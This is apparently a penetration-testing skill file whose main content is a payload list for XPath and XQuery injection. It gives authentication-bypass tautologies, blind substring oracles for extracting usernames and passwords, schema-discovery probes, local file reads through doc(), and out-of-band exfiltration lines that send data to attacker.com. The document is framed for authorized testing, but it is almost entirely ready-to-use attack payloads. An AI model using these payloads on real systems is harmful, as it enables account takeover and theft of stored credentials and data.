| name | exploiting-xpath-injection |
| description | Exploiting XPath injection where applications build XPath/XQuery expressions from unsanitized user input to query XML documents, allowing authentication bypass and blind extraction of the entire XML document (users, passwords, schema) plus out-of-band exfiltration. Activates when login or search features query XML data stores via XPath. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","xpath-injection","xquery-injection","authentication-bypass","owasp","web-security"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Exploiting XPath Injection
When to Use
- During authorized tests where the app stores users/data in an XML file and queries it with XPath
- When login forms or search features build expressions like
//user[name='INPUT' and password='INPUT']
- When you see XML-backed config, SOAP endpoints, or apps using
simplexml, DOMXPath, javax.xml.xpath
- When error messages reference XPath, XQuery, or XML parsing
- When testing XPath 2.0+ engines that expose
doc(), unparsed-text(), or string-to-codepoints()
Critical: Variants Most Often Missed
In XPath there is no comment/terminator like SQL --, so payloads must keep the expression valid. Remember and binds tighter than or. Test this matrix on every field:
# 1. Authentication bypass (boolean tautology)
' or '1'='1 " or "1"="1 ' or ''=' " or ""="
' or 1]%00 # null-byte to cut the rest of the expression
admin' or '1'='2 # select a KNOWN account, ignore password
# 2. First-match selection (no spaces needed too)
' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or '
# 3. Conditional account selection (blind oracles)
'or string-length(name(.))<10 or' # accounts whose node name < 10 chars
'or contains(name,'adm') or' # first account whose name contains 'adm'
'or contains(.,'adm') or' # first account whose current value contains 'adm'
'or position()=2 or' # select the 2nd account
# 4. Node-set extraction in string-output contexts (search boxes)
') or 1=1 or (' # get all names
') or 1=1] | //user/password[('')=(' # names AND passwords
')] | //user/*[1] | a[(' # the 1st child (id) of every user
')] | //password%00 # all passwords (null injection)
')]/../*[3][text()!=(' # all passwords via sibling axis
# 5. Blind boolean extraction (substring oracle)
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_HERE)
# 6. Schema discovery (when tag names unknown)
and count(/*)=1 # root count
and name(/*[1])="root" # confirm tag name
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1))=105 # codepoint of a tag char
XPath 2.0 file read / OOB exfiltration:
# Read protected files (XPath 2.0+)
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
# Out-of-band exfiltration via doc()/doc-available()
doc(concat("http://attacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
doc-available(concat("http://attacker.com/oob/", name(/*[1]/*[1])))
# Error-based oracle (XQuery)
... and ( if ( $employee/role = 2 ) then error() else 0 )...